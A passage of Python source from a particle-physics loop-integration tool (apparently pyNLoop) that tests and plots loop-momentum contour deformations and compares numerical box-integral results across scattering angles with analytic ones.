now, pyNLoop only support the specification of the' +\n ' following hardcoded topologies: %s' % (','.join(self._hardcoded_topologies.keys())))\n\n chosen_topology = self._hardcoded_topologies[chosen_topology_name]\n\n # Now generate the external momenta randomly, as this is the only mode we support\n # for now.\n phase_space_generator = phase_space_generators.FlatInvertiblePhasespace(\n chosen_topology['masses'][:2], chosen_topology['masses'][2:],\n [options['sqrt_s'] / 2., options['sqrt_s'] / 2.],\n beam_types=(1, 1)\n )\n\n n_points = options['n_points']\n\n random_PS_point = None\n all_n_loop_integrands = []\n n_tests_done = 0\n first = True\n if options['test']:\n widgets = [\"Performing deformation test :\",\n pbar.Percentage(), ' ', pbar.Bar(), ' ', pbar.ETA(), ' ',\n pbar.Counter(format='%(value)d/%(max_value)d'), ' ']\n progress_bar = pbar.ProgressBar(widgets=widgets, maxval=n_points, fd=sys.stdout)\n# progress_bar = None\n if progress_bar:\n progress_bar.start()\n else:\n progress_bar = None\n\n # Now loop over many tests to be performed with random ref vectors and loop external kinematics\n while (first or (n_tests_done < n_points and options['test'])):\n first = False\n if progress_bar:\n progress_bar.update(n_tests_done)\n n_tests_done += 1\n if random_PS_point is None or (not options['keep_PS_point_fixed']):\n # Specifying None to get a random PS point\n random_PS_point, wgt, x1, x2 = phase_space_generator.get_PS_point(None)\n # Use the dictionary representation of the PS Point\n random_PS_point = random_PS_point.to_dict()\n\n # For loop calculations, it customary to consider all legs outgoing, so we must\n # flip the initial states directions.\n for i in random_PS_point:\n if i > 2:\n continue\n random_PS_point[i] = -random_PS_point[i]\n if not options['test'] or options['keep_PS_point_fixed']:\n logger.info('PS point considered:\\n%s' % str(random_PS_point))\n\n # take a random vector\n if isinstance(options['reference_vector'], str) and options['reference_vector']=='random':\n ref_vec = vectors.LorentzVector([random.random(),random.random(),random.random(),random.random()])\n else:\n ref_vec = options['reference_vector']\n if isinstance(options['offset_vector'], str) and options['offset_vector']=='random':\n offset_vec = vectors.LorentzVector([random.random(),random.random(),random.random(),random.random()])\n else:\n offset_vec = options['offset_vector']\n # Make sure that the reference vector has each component normalized to its maximum one\n # This is to emphasize that its norm is irrelevant and only its direction matters, this is because\n # we will probe the region from -inf to +inf along this direction when working in the direct loop momentum\n # space\n ref_vec /= max(abs(k) for k in ref_vec)\n # Rescale the reference vector with sqrt_s if it does not live in the integration variable space\n if not options['integration_space']:\n ref_vec *= options['sqrt_s']\n offset_vec *= options['sqrt_s']\n else:\n # When working directly in the integration variable space, make sure that the offset vector also has\n # a maximum value for each of its components that is at most one.\n offset_vec /= max(max(abs(k) for k in offset_vec),1.0)\n\n if not options['test']:\n logger.info('Reference vector used: %s'%str(ref_vec))\n logger.info('Offset_vec vector used: %s'%str(offset_vec))\n\n # For debugging you can easily print out the options as follows:\n #misc.sprint(options)\n\n if len(all_n_loop_integrands)==0 or (not options['keep_PS_point_fixed']):\n all_n_loop_integrands = []\n for loop_momenta_generator_class, loop_momenta_generator_options in options['loop_momenta_generators']:\n integrand_options = {\n 'n_loops' : chosen_topology['n_loops'],\n 'external_momenta' : random_PS_point,\n # Data-structure for specifying a topology to be determined\n 'topology' : chosen_topology_name,\n 'loop_momenta_generator_class' : loop_momenta_generator_class,\n 'loop_momenta_generator_options' : loop_momenta_generator_options,\n }\n for opt, value in options.items():\n if opt=='loop_momenta_generators':\n continue\n integrand_options[opt] = value\n all_n_loop_integrands.append( (\n 'default' if loop_momenta_generator_class is None\n else loop_momenta_generator_class.__name__+'@'+str(loop_momenta_generator_options),\n chosen_topology['class'],\n integrand_options\n ))\n\n first_integrand = all_n_loop_integrands[0][1](**all_n_loop_integrands[0][2])\n lmg = first_integrand.loop_momentum_generator\n\n ###############################\n # Do timing tests if asked for\n ###############################\n if options['test_timing']:\n for i_integrand, (lm_generator_name, n_loop_integrand_class, n_loop_integrand_options) in enumerate(\n all_n_loop_integrands):\n # Recover or build the n_loop_integrand instance\n if i_integrand == 0:\n n_loop_integrand = first_integrand\n else:\n n_loop_integrand = n_loop_integrand_class(**n_loop_integrand_options)\n if options['test_timing']=='deformation':\n function_to_test = lambda: n_loop_integrand.loop_momentum_generator.generate_loop_momenta([random.random() for _ in range(4)])\n elif options['test_timing']=='integrand':\n function_to_test = lambda: n_loop_integrand([random.random() for _ in range(4)], [])\n else:\n raise pyNLoopInterfaceError(\"The timing test can only be performed on integrand' or 'deformation'.\")\n performance = min(timeit.repeat(functools.partial(function_to_test),\n number=options['n_points'], repeat=3))/float(options['n_points'])\n logger.info('Performance of %s for loop momenta generator %s : %.3e s / deformation.'%(\n options['test_timing'],lm_generator_name,performance))\n return\n\n ################\n # Analyze poles\n ################\n if (options['test'] or any(item in options['items_to_plot'] for item in ['p','poles'])):\n # compute the positions of the poles on the ref vec line\n poles = []\n imaginary_part_on_poles = []\n for i_prop, q_i in enumerate(lmg.q_is):\n mass_prop = first_integrand.loop_propagator_masses[i_prop]\n # Now solve for the scaling value of the ref_vector that sends this propagator onshell\n scales_onshell = find_offshell_scaling(ref_vec, q_i-offset_vec, mass_prop)\n for scale_onshell in scales_onshell:\n# misc.sprint((offset_vec+scale_onshell*ref_vec-q_i).square()-mass_prop**2)\n dp = lmg.deform_loop_momenta([offset_vec+scale_onshell*ref_vec,])[0]\n denominator = (dp-q_i).square()-mass_prop**2\n imaginary_part_on_poles.append(denominator.imag)\n # Map back this scale onto the unit domain\n for scale_onshell in scales_onshell:\n poles.append(map_from_infinity(scale_onshell))\n\n# misc.sprint(len(imaginary_part_on_poles))\n if len(imaginary_part_on_poles)>0:\n# misc.sprint(imaginary_part_on_poles)\n # Make sure imaginary part is of the dimensionality of the momentum (not squared).\n imaginary_part_on_poles = [math.sqrt(abs(ipp))*(-1. if ipp < 0. else 1.)\n for ipp in imaginary_part_on_poles]\n # Normalize to the biggest imaginary part\n normalization_ipp = max(abs(ipp) for ipp in imaginary_part_on_poles)\n if options['normalization'] != 'None':\n dampening_power = 0.5\n imaginary_part_on_poles = [((abs(ipp)/normalization_ipp)**dampening_power)*(-1. if ipp < 0. else 1.)\n for ipp in imaginary_part_on_poles]\n\n if any(ipp<0. for ipp in imaginary_part_on_poles):\n if not options['test']:\n logger.warning('The deformation leads to a negative imaginary part on some poles! : %s'%imaginary_part_on_poles)\n else:\n logger.critical('A test on the deformation %s failed!'%(all_n_loop_integrands[0][0]))\n logger.critical('Imaginary part of the onshell propagators for that point: %s'%str(imaginary_part_on_poles))\n logger.critical('This was the #%d test with seed %d.'%(n_tests_done, options['seed']))\n logger.critical('External PS point:\\n %s'%str(random_PS_point))\n logger.critical('Reference vector used: %s'%str(ref_vec))\n logger.critical('Offset vector used: %s'%str(offset_vec))\n return\n\n# misc.sprint(\"Poles mapped: %s\"%poles)\n if not options['test']:\n for p, ipp in zip(poles,imaginary_part_on_poles):\n y_location = 0. if not options['log_axis'] else 1.\n plt.plot(p, y_location, marker='o', markersize=3, color=\"red\")\n plt.plot([p, p], [y_location, y_location+ipp], 'k-', lw=2, color=\"red\")\n\n if progress_bar:\n progress_bar.finish()\n if options['test']:\n logger.info('A total of %d tests on the deformation %s were successfully performed.'%(\n options['n_points'], all_n_loop_integrands[0][0]))\n return\n\n #################################\n # Now generate the plotting data\n #################################\n scaling_range = options['range']\n if options['scale_progression']=='linear':\n x_entries = [scaling_range[0]+ (i / float(n_points))*(scaling_range[1]-scaling_range[0]) for i in range(1, n_points)]\n elif options['scale_progression']=='exponential':\n # Scale exponentially dense close towards scaling_range[0]\n x_entries = [scaling_range[0]+ 0.5*(10.**(-10.*(i/float(n_points//2))))*(scaling_range[1]-scaling_range[0]) for i in range(n_points//2,0,-1)]\n # Scale exponentially dense close towards scaling_range[1]\n x_entries.extend([scaling_range[0]+ 0.5*(2.-10.**(-10.*(i/float(n_points//2))))*(scaling_range[1]-scaling_range[0]) for i in range(0, n_points//2-1)])\n else:\n raise pyNLoopInterfaceError(\"Value '%s' for scaling progression not supported.\")\n\n all_deformed_points = []\n all_jacobians = []\n for i_integrand, (lm_generator_name, n_loop_integrand_class, n_loop_integrand_options) in enumerate(all_n_loop_integrands):\n # Recover or build the n_loop_integrand instance\n if i_integrand==0:\n n_loop_integrand = first_integrand\n else:\n n_loop_integrand = n_loop_integrand_class(**n_loop_integrand_options)\n\n # List the jacobians for all points for this integrand\n jacobians = [1.0,]*len(x_entries)\n\n # now sample n_points points and compute the deformation\n if options['integration_space']:\n # We will probe the integration space within the unit hyperbox following this line:\n # y_vec = offset_vec + scaling * ref_vec\n # And we want the parameter 'scaling' to be in [0,1] with 0 corresponding to one intersection of this\n # line with the unit hyperbox (call it point 'A') and 1 corresponding to the other intersection with the\n # unit hyperbox (call it point 'B'). We therefore proceed here to computing the min and max value of this\n # scaling so as to remap it to the interval [0,1].\n min_scale, max_scale = None, None\n for o, r in zip(offset_vec, ref_vec):\n # Intersections with the planes defined by some y_vec component being 0. or 1.\n if r==0.:\n continue\n intersections = sorted( [(component_value - o) / r for component_value in [0., 1.]] )\n if min_scale is None or intersections[0] > min_scale:\n min_scale = intersections[0]\n if max_scale is None or intersections[1] < max_scale:\n max_scale = intersections[1]\n\n if min_scale is None or max_scale is None or max_scale-min_scale <= 0.:\n raise pyNLoopInterfaceError('Could not compute the scaling to apply in the integration space.')\n points_in_integration_space = [offset_vec + ref_vec * ( min_scale + x* (max_scale - min_scale)) for x in x_entries]\n\n # Then use the conformal map of the loop momentum generator of the integrand\n points = []\n for i, p in enumerate(points_in_integration_space):\n #misc.sprint('Point before: %s'%str(p))\n loop_momenta, conformal_jac = n_loop_integrand.loop_momentum_generator.map_to_infinite_hyperbox(p)\n #misc.sprint('Point after: %s, %f'%(str(loop_momenta[0]),conformal_jac))\n jacobians[i] *= conformal_jac\n points.append(list(loop_momenta[0]))\n if any(math.isnan(c) or math.isinf(c) for c in loop_momenta[0]):\n raise pyNLoopInterfaceError('The conformal map failed to correctly map the following input point:\\n'+\n str(p)+'\\nIt returned:\\n%s'%str(loop_momenta[0]))\n else:\n points = [offset_vec + ref_vec * map_to_infinity(x) for x in x_entries]\n\n normalizations = [1., ] * n_points\n if options['normalization'] == 'distance_real':\n normalizations = [math.sqrt(sum(k_i ** 2 for k_i in p)) for p in points]\n\n # Make sure the normalization is capped to be minimum 1.0\n normalizations = [max(n, 1.0e-99) for n in normalizations]\n\n deformed_points = []\n widgets = [\"Loop deformation for generator %s :\"%lm_generator_name.split('@')[0],\n pbar.Percentage(), ' ', pbar.Bar(),' ', pbar.ETA(), ' ',\n pbar.Counter(format='%(value)d/%(max_value)d'), ' ']\n progress_bar = pbar.ProgressBar(widgets=widgets, maxval=len(points), fd=sys.stdout)\n# progress_bar = None\n if progress_bar:\n progress_bar.start()\n for i_point, p in enumerate(points):\n res = n_loop_integrand.loop_momentum_generator.apply_deformation([p, ])\n deformed_points.append(res[0][0])\n #misc.sprint('Deformation jacobian:', res[1])\n jacobians[i_point] *= res[1]\n if progress_bar:\n progress_bar.update(i_point)\n if progress_bar:\n progress_bar.finish()\n all_deformed_points.append(deformed_points)\n all_jacobians.append(jacobians)\n\n# misc.sprint(\"Last 5 points: %s\"%(',\\n'.join([str(p) for p in points[-5:]])))\n# misc.sprint(\"Last 5 deformed points: %s\"%(',\\n'.join([str(p) for p in deformed_points[-5:]])))\n\n # Note that the deformation should not have changed the real components\n # get the distance on the imaginary axis.\n for i_comp in range(4):\n if i_comp not in options['items_to_plot']:\n continue\n plt.plot(x_entries, [d[i_comp].imag/normalizations[i_point] for i_point, d in enumerate(deformed_points)],\n label='component #%d @%s'%(i_comp,lm_generator_name))\n\n if any(item in options['items_to_plot'] for item in ['d','distance']):\n dist = [ math.sqrt(sum(di.imag**2 for di in d))/normalizations[i_point] for i_point, d in enumerate(deformed_points)]\n plt.plot(x_entries, dist, linewidth=2.0, label='distance @%s'%lm_generator_name)\n\n # Also add the integrand (Any integrand would do for the evaluation since the deformation should be irrelevant,\n # so we pick the first here)\n if any(item in options['items_to_plot'] for item in ['integrand_real','integrand_imag','integrand_abs']):\n integrands = [first_integrand([dp,], [], input_already_in_infinite_hyperbox=True, jacobian=jac, phase='All' )\n for dp,jac in zip(deformed_points,jacobians)]\n # Normalize to the largest value of the integrand encountered\n if 'integrand_real' in options['items_to_plot']:\n integrand_reals = [itg.real for itg in integrands]\n max_integrand_real = max(integrand_reals)\n if max_integrand_real > 0.:\n integrand_reals = [itg/max_integrand_real for itg in integrand_reals]\n plt.plot(x_entries,integrand_reals, label='integrand_real @%s'%lm_generator_name)\n if 'integrand_imag' in options['items_to_plot']:\n integrand_imags = [itg.imag for itg in integrands]\n max_integrand_imag = max(integrand_imags)\n if max_integrand_imag > 0.:\n integrand_imags = [itg/max_integrand_imag for itg in integrand_imags]\n plt.plot(x_entries,integrand_imags, label='integrand_imag @%s'%lm_generator_name)\n if 'integrand_abs' in options['items_to_plot']:\n integrand_abss = [abs(itg) for itg in integrands]\n max_integrand_abss = max(integrand_abss)\n if max_integrand_abss > 0.:\n integrand_abss = [itg/max_integrand_abss for itg in integrand_abss]\n plt.plot(x_entries,integrand_abss, label='integrand_abs @%s'%lm_generator_name)\n if any(item in options['items_to_plot'] for item in [\n 'integrand_no_jac_real','integrand_no_jac_imag','integrand_no_jac_abs']):\n integrands = [first_integrand([dp,], [], input_already_in_infinite_hyperbox=True, jacobian=1.0, phase='All' )\n for dp,jac in zip(deformed_points,jacobians)]\n # Normalize to the largest value of the integrand encountered\n if 'integrand_no_jac_real' in options['items_to_plot']:\n integrand_reals = [itg.real for itg in integrands]\n max_integrand_real = max(integrand_reals)\n if integrand_reals > 0.:\n integrand_reals = [itg/max_integrand_real for itg in integrand_reals]\n plt.plot(x_entries,integrand_reals, label='integrand_no_jac_real @%s'%lm_generator_name)\n if 'integrand_no_jac_imag' in options['items_to_plot']:\n integrand_imags = [itg.imag for itg in integrands]\n max_integrand_imag = max(integrand_imags)\n if max_integrand_imag > 0.:\n integrand_imags = [itg/max_integrand_imag for itg in integrand_imags]\n plt.plot(x_entries,integrand_imags, label='integrand_no_jac_imag @%s'%lm_generator_name)\n if 'integrand_no_jac_abs' in options['items_to_plot']:\n integrand_abss = [abs(itg) for itg in integrands]\n max_integrand_abss = max(integrand_abss)\n if max_integrand_abss > 0.:\n integrand_abss = [itg/max_integrand_abss for itg in integrand_abss]\n plt.plot(x_entries,integrand_abss, label='integrand_no_jac_abs @%s'%lm_generator_name)\n if any(item in options['items_to_plot'] for item in ['jac_real','jac_imag','jac_abs']):\n # Normalize to the largest value of the integrand encountered\n if 'jac_real' in options['items_to_plot']:\n jacobian_reals = [jac.real for jac in jacobians]\n max_jacobian_real = max(jacobian_reals)\n if max_jacobian_real>0.:\n jacobian_reals = [jac/max_jacobian_real for jac in jacobian_reals]\n plt.plot(x_entries,jacobian_reals, label='jac_real @%s'%lm_generator_name)\n if 'jac_imag' in options['items_to_plot']:\n jacobian_imags = [jac.imag for jac in jacobians]\n max_jacobian_imag = max(jacobian_imags)\n if max_jacobian_imag > 0.:\n jacobian_imags = [jac/max_jacobian_imag for jac in jacobian_imags]\n plt.plot(x_entries,jacobian_imags, label='jac_imag @%s'%lm_generator_name)\n if 'jac_abs' in options['items_to_plot']:\n jacobian_abss = [abs(jac) for jac in jacobians]\n max_jacobian_abss = max(jacobian_abss)\n if max_jacobian_abss > 0.:\n jacobian_abss = [jac/max_jacobian_abss for jac in jacobian_abss]\n plt.plot(x_entries,jacobian_abss, label='jac_abs @%s'%lm_generator_name)\n\n # Plot relative difference of deformation, normalized to its max\n if len(all_n_loop_integrands)>1 and any((isinstance(item, str) and item.startswith('difference')) for item\n in options['items_to_plot']):\n relative_deformation_differences = []\n relative_jacobian_differences = []\n n_lmg = len(all_n_loop_integrands)\n for i_point in range(len(all_deformed_points[0])):\n if 'difference_deformation' in options['items_to_plot']:\n data_for_deformation_difference = []\n for i_component in range(4):\n data_for_deformation_difference.append(\n [all_deformed_points[i_lmg][i_point][i_component].real for i_lmg in range(n_lmg) ] )\n data_for_deformation_difference.append(\n [all_deformed_points[i_lmg][i_point][i_component].imag for i_lmg in range(n_lmg)] )\n if options['normalization']:\n relative_deformation_differences.append(max(\n [(max(k) - min(k))/(0.5*((abs(max(k))+abs(min(k))) if (abs(max(k))+abs(min(k)))>0. else 1.))\n for k in data_for_deformation_difference ]))\n else:\n relative_deformation_differences.append(max(\n [(max(k) - min(k)) for k in data_for_deformation_difference ]))\n if 'difference_jacobian' in options['items_to_plot']:\n data_for_jacobian_difference = []\n data_for_jacobian_difference.append([all_jacobians[i_lmg][i_point].real for i_lmg in range(n_lmg)])\n data_for_jacobian_difference.append([all_jacobians[i_lmg][i_point].imag for i_lmg in range(n_lmg)])\n if options['normalization']:\n relative_jacobian_differences.append(max(\n [(max(k) - min(k))/(0.5*((abs(max(k))+abs(min(k))) if (abs(max(k))+abs(min(k)))>0. else 1.))\n for k in data_for_jacobian_difference ]))\n else:\n relative_jacobian_differences.append(max(\n [(max(k) - min(k)) for k in data_for_jacobian_difference ]))\n # Further normalize if asked for.\n if options['normalization']:\n if 'difference_deformation' in options['items_to_plot']:\n max_diff = max(relative_deformation_differences)\n if max_diff > 0.:\n relative_deformation_differences = [d/max_diff for d in relative_deformation_differences]\n plt.plot(x_entries, relative_deformation_differences, label='Rel. deform. diff. %s' % (\n '( x%.3e )'%max_diff if max_diff > 0. else 'ZERO' ))\n if 'difference_jacobian' in options['items_to_plot']:\n max_diff = max(relative_jacobian_differences)\n if max_diff > 0.:\n relative_jacobian_differences = [d/max_diff for d in relative_jacobian_differences]\n plt.plot(x_entries, relative_jacobian_differences, label='Rel. jacobian diff. %s' % (\n '( x%.3e )'%max_diff if max_diff > 0. else 'ZERO' ))\n else:\n if 'difference_deformation' in options['items_to_plot']:\n plt.plot(x_entries, relative_deformation_differences, label='Deform. diff.')\n if 'difference_jacobian' in options['items_to_plot']:\n plt.plot(x_entries, relative_jacobian_differences, label='Jacobian diff.')\n\n plt.xlim(options['range'])\n xlabel = r'$\\lambda$'\n if options['integration_space']:\n xlabel += '@IntegrationVariablesSpace'\n xlabel += ' [%s progression]'%options['scale_progression']\n plt.xlabel(xlabel)\n if options['log_axis']:\n plt.semilogy()\n\n fontP = FontProperties()\n fontP.set_size('small')\n legend = plt.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc=3, prop=fontP)\n if options['save_plot'] not in ['',None]:\n extension = os.path.basename(options['save_plot']).split('.')\n if len(extension)==1:\n extension = None\n else:\n extension = extension[-1]\n if extension is None:\n extension = 'svg'\n options['save_plot'] += '.'+extension\n logger.info(\"Saving plot to '%s'.\"%options['save_plot'])\n if extension=='svg':\n plt.savefig(options['save_plot'], bbox_extra_artists=(legend,), bbox_inches='tight')\n else:\n plt.savefig(options['save_plot'], dpi=500, bbox_extra_artists=(legend,), bbox_inches='tight')\n if options['show_plot']:\n plt.tight_layout(rect=(0,0,1,0.75))\n plt.show()\n else:\n logger.info(\"Display of the plot skipped according to user's request.\")\n\n def generate_dummy_phase_space_point(self, masses, sqrt_s):\n # Generate a dummy_PS_point just for the instantiation\n phase_space_generator = phase_space_generators.FlatInvertiblePhasespace(\n masses[:2], masses[2:],\n [sqrt_s / 2., sqrt_s / 2.],\n beam_types=(1, 1)\n )\n # Specifying None to get a random PS point just for the instantiation of the integrands.\n dummy_PS_point, _, _, _ = phase_space_generator.get_PS_point(None)\n # Use the dictionary representation of the PS Point\n dummy_PS_point = dummy_PS_point.to_dict()\n # For loop calculations, it customary to consider all legs outgoing, so we must\n # flip the initial states directions.\n for i in dummy_PS_point:\n if i > 2:\n continue\n dummy_PS_point[i] = -dummy_PS_point[i]\n\n return dummy_PS_point\n\n\n def do_plot_box_scattering_angle(self, line):\n \"\"\" Command for plotting the integral over the scattering angle theta, for a given phi.\"\"\"\n\n args = self.split_arg(line)\n args, options = self.parse_plot_box_scattering_angle_options(args)\n\n if options['seed']:\n random.seed(options['seed'])\n\n if options['phase_computed'] not in ['Real','Imaginary']:\n raise InvalidCmd(\"Command 'do_plot_box_scattering_angle' only allows option 'phase_computed' to be 'Real' or 'Imaginary'.\")\n\n if all((not options[opt]) for opt in ['compute_numerical_result','compute_analytic_result']):\n raise InvalidCmd(\"The command 'do_plot_box_scattering_angle' must be instructed to compute at least the numerical or analytical result.\")\n\n chosen_topology_name = args[0]\n if chosen_topology_name not in self._hardcoded_topologies:\n raise InvalidCmd('For now, pyNLoop only support the specification of the' +\n ' following hardcoded topologies: %s' % (','.join(self._hardcoded_topologies.keys())))\n\n chosen_topology = self._hardcoded_topologies[chosen_topology_name]\n M1 = chosen_topology['masses'][0]\n M2 = chosen_topology['masses'][1]\n M3 = chosen_topology['masses'][2]\n M4 = chosen_topology['masses'][3]\n\n n_points = options['n_points']\n\n # create progress bar\n widgets = [\"Performing deformation test :\",\n pbar.Percentage(), ' ', pbar.Bar(), ' ', pbar.ETA(), ' ',\n pbar.Counter(format='%(value)d/%(max_value)d'), ' ']\n\n if options['verbosity'] == 0:\n progress_bar = pbar.ProgressBar(widgets=widgets, maxval=n_points, fd=sys.stdout)\n else:\n progress_bar = None\n\n if progress_bar:\n progress_bar.start()\n\n channels = [0,1,2] if options['channel'] is None else [options['channel'],]\n\n # Instantiate an integrator\n loop_momenta_generator_class, loop_momenta_generator_options = options['loop_momenta_generator']\n integrand_options = {\n 'n_loops': chosen_topology['n_loops'],\n 'external_momenta': self.generate_dummy_phase_space_point(chosen_topology['masses'], options['sqrt_s']),\n # Data-structure for specifying a topology to be determined\n 'topology': chosen_topology_name,\n 'loop_momenta_generator_class': loop_momenta_generator_class,\n 'loop_momenta_generator_options': loop_momenta_generator_options,\n 'channel': None, # will be set later\n }\n for opt, value in options.items():\n if opt == 'loop_momenta_generator':\n continue\n integrand_options[opt] = value\n\n loop_integrand = chosen_topology['class'](**integrand_options)\n\n # Choose the integrator\n if self.pyNLoop_options['integrator'] == 'auto':\n integrator_name = loop_integrand._supported_integrators[0]\n else:\n if self.pyNLoop_options['integrator'] not in loop_integrand._supported_integrators:\n integrator_name = loop_integrand._supported_integrators[0]\n logger.warning(\n \"Specified integrator '%s' is not supported by integrand '%s'. Using '%s' instead.\" %\n (self.pyNLoop_options['integrator'], loop_integrand.nice_string(), integrator_name))\n else:\n integrator_name = self.pyNLoop_options['integrator']\n\n # Now set the integrator options\n integrator_options = dict(self.integrator_options)\n for opt, value in options.items():\n if opt in integrator_options:\n integrator_options[opt] = value\n integrator_options['cluster'] = self.get_cluster(force_nb_cpu_cores=int(self.options['nb_core']))\n integrator_options['pySecDec_path'] = self.pyNLoop_options['pySecDec_path']\n if integrator_name == 'Vegas3':\n if options['phase_computed'] == 'All':\n logger.warning('Vegas3 integrator cannot simultaneously integrate the real and imaginary part of' +\n \" the loop for now. The user's choice 'All' for 'phase_computed' is reverted to 'Real'.\")\n loop_integrand.phase_computed = 'Real'\n integrator = Vegas3Integrator(loop_integrand, **integrator_options)\n elif integrator_name == 'pySecDec':\n integrator = pysecdec_integrator.pySecDecIntegrator(loop_integrand, **integrator_options)\n elif integrator_name == 'Cuba':\n integrator = pyCubaIntegrator(loop_integrand, **integrator_options)\n else:\n raise pyNLoopInterfaceError(\"Integrator '%s' not implemented.\" % integrator_name)\n\n\n # Initialize a hook to OneLOop in order to gather the analytic results\n analytic_results_available = False\n if options['compute_analytic_result']:\n loop_integrand.setup_analytic_computation(self)\n if not loop_integrand.is_analytic_result_available():\n logger.warning('AVH OneLOop library could not be properly loaded. Analytic results will not be available.')\n analytic_results_available = False\n else:\n analytic_results_available = True\n\n # loop over the angle theta\n results, errors = [], []\n results_analytic = []\n\n res_summary = open(pjoin(options['output_folder'],'scattering_angle.dat'),'w')\n res_summary.write('Integral {} with channel {}:\\n'.format(chosen_topology_name, options['channel']))\n res_summary.write('Theta\\t\\tPhi\\t\\t\\t{}\\t\\t\\t\\t\\tError\\n'.format(options['phase_computed']))\n\n n_tests_done = 0\n theta_range = options['range']\n thetas = [ theta_range[0] + (theta_range[1] - theta_range[0]) * i / float(n_points) for i in range(n_points) ]\n while n_tests_done < n_points:\n theta = thetas[n_tests_done]\n\n if progress_bar:\n progress_bar.update(n_tests_done)\n n_tests_done += 1\n\n # generate the phase space point\n sqrtS = options['sqrt_s']\n phi = options['phi']\n\n pz = math.sqrt((sqrtS - M1 - M2)*(sqrtS + M1 - M2)*(sqrtS - M1 + M2)*(sqrtS + M1 + M2))/(2.*sqrtS)\n pf = math.sqrt((sqrtS - M3 - M4)*(sqrtS + M3 - M4)*(sqrtS - M3 + M4)*(sqrtS + M3 + M4))/(2.*sqrtS)\n ps1 = vectors.LorentzVector([math.sqrt(M1**2 + pz**2), 0, 0, pz])\n ps2 = vectors.LorentzVector([math.sqrt(M2**2 + pz**2), 0, 0, -pz])\n ps3 = vectors.LorentzVector([math.sqrt(M3**2 + pf**2), pf*math.cos(phi)*math.sin(theta), pf*math.sin(phi)*math.sin(theta), pf*math.cos(theta)])\n ps4 = vectors.LorentzVector([math.sqrt(M4**2 + pf**2), -(pf*math.cos(phi)*math.sin(theta)), -(pf*math.sin(phi)*math.sin(theta)), -(pf*math.cos(theta))])\n external_momenta = vectors.LorentzVectorList([ps1, ps2, ps3, ps4]).to_dict()\n\n # For loop calculations, it customary to consider all legs outgoing, so we must\n # flip the initial states directions.\n for i in external_momenta:\n if i > 2:\n continue\n external_momenta[i] = -external_momenta[i]\n\n if options['verbosity'] > 0:\n logger.debug('External momentum configuration probed for angle theta=%f is:\\n%s'%\n (theta, str(external_momenta)))\n\n if options['compute_numerical_result']:\n summed_result = 0\n summed_error = 0\n for channel in channels:\n\n # Assign the new kinematic configuration\n loop_integrand.assign_kinematic_configuration(external_momenta, channel)\n with misc.Silence(active = options['verbosity'] <= 1):\n amplitude, error = integrator.integrate()\n\n if options['verbosity'] > 0:\n logger.debug('Amplitude for channel {}: {} +/- {}'.format(channel, amplitude, error))\n summed_result += amplitude\n summed_error += error**2\n results.append(summed_result)\n errors.append(math.sqrt(summed_error))\n\n # Now compute the analytical result for this point\n if analytic_results_available:\n analytic_res_real, analytic_res_real_imag = loop_integrand.get_analytic_result(external_momenta)\n if options['phase_computed'] == 'Real':\n results_analytic.append(analytic_res_real[0])\n elif options['phase_computed'] == 'Imaginary':\n results_analytic.append(analytic_res_real_imag[0])\n\n if options['verbosity'] > 0:\n logger.debug('Results obtained for the PS point above:\\nAnalytic: %s\\npyNLoop : %s\\nMC_error: %s'%\n ('%.16e'%results_analytic[-1] if analytic_results_available else 'N/A',\n '%.16e'%results[-1] if options['compute_numerical_result'] else 'N/A',\n '%.2e'%errors[-1] if options['compute_numerical_result'] else 'N/A' ))\n\n res_summary.write('{:.3f}\\t\\t{:.3f}\\t\\t{}\\t\\t{}\\t\\t{}\\n'.format(theta, phi,\n results[-1] if options['compute_numerical_result'] else 0.,\n errors[-1] if options['compute_numerical_result'] else 0.,\n results_analytic[-1] if analytic_results_available else 0.)\n )\n\n if progress_bar:\n progress_bar.finish()\n\n res_summary.close()\n\n logger.debug('Results:\\nanalytic: %s\\ncentral value: %s\\nMC error: %s'%(results_analytic,results, errors))\n all_handles = []\n if options['compute_numerical_result']:\n all_handles.append(plt.errorbar(x=thetas, y=results, yerr=errors, label='pyNLoop'))\n if analytic_results_available:\n all_handles.append(plt.errorbar(x=thetas, y=results_analytic, yerr=[0.,]*len(results_analytic), label='oneLOop'))\n plt.legend(handles=all_handles)\n plt.xlabel('theta')\n plt.ylabel('Amplitude (%s part)'%options['phase_computed'])\n\n\n if options['channel'] is None:\n plt.title('{}'.format(chosen_topology_name))\n else:\n plt.title('Channel {} of {}'.format(options['channel'], chosen_topology_name))\n\n if options['log_axis']:\n plt.yscale('log')\n\n plt.show()\n\n def parse_plot_box_scattering_angle_options(self, args):\n \"\"\" Parsing arguments/options passed to the command plot_box_scattering_angle.\"\"\"\n\n options = { \n 'seed' : None,\n 'sqrt_s' : 1000.0,\n 'phi' : math.pi / 4.,\n 'cpp_integrand' : False,\n 'verbosity' : 1,\n 'output_folder' : pjoin(MG5DIR,'MyPyNLoop_output'),\n 'loop_momenta_generator' : self.parse_lmgc_specification('default'),\n 'phase_computed' : 'Real',\n 'range' : (0., math.pi * 0.99),\n 'n_points' : 10,\n 'channel' : None,\n 'log_axis' : False,\n 'show_plot' : True,\n 'save_plot' : '',\n 'compute_analytic_result': True,\n 'compute_numerical_result': True,\n }\n\n # First combine all value of the options (starting with '--') separated by a space\n opt_args = []\n new_args = []\n for arg in args:\n if arg.startswith('--'):\n opt_args.append(arg)\n elif len(opt_args)>0:\n opt_args[-1] += ' %s'%arg\n else:\n new_args.append(arg)\n \n for arg in opt_args:\n try:\n key, value = arg.split('=')\n except:\n key, value = arg, None\n key = key[2:]\n\n if key in ['seed','verbosity','nb_CPU_cores', 'n_points', 'channel']:\n try:\n parsed_int = int(value)\n except ValueError:\n raise pyNLoopInvalidCmd('Cannot parse specified %s integer: %s'%(key,value))\n options[key] = parsed_int\n\n elif key in ['reference_vector', 'offset_vector']:\n if value.lower() in ['random','r']:\n options['reference_vector'] = 'random'\n else:\n try:\n ref_vec = tuple(eval(value))\n except:\n raise pyNLoopInvalidCmd(\"Cannot parse reference vector specification: %s\"%str(value))\n if len(ref_vec)!=4:\n raise pyNLoopInvalidCmd(\"Reference vector must be of length 4, not %d\"%len(ref_vec))\n options[key] = vectors.LorentzVector(ref_vec)\n\n elif key=='scale_progression':\n if value not in ['linear','exponential']:\n raise pyNLoopInvalidCmd(\"The values for the option 'scale_progression' can only be in \"+\n \"['linear','exponential'], not %s.\" %value)\n else:\n options[key] = value\n\n elif key=='range':\n try:\n range = tuple(eval(value))\n except:\n raise pyNLoopInvalidCmd(\"Cannot parse reference vector specification: %s\"%str(value))\n if len(range)!=2:\n raise pyNLoopInvalidCmd(\"Range must 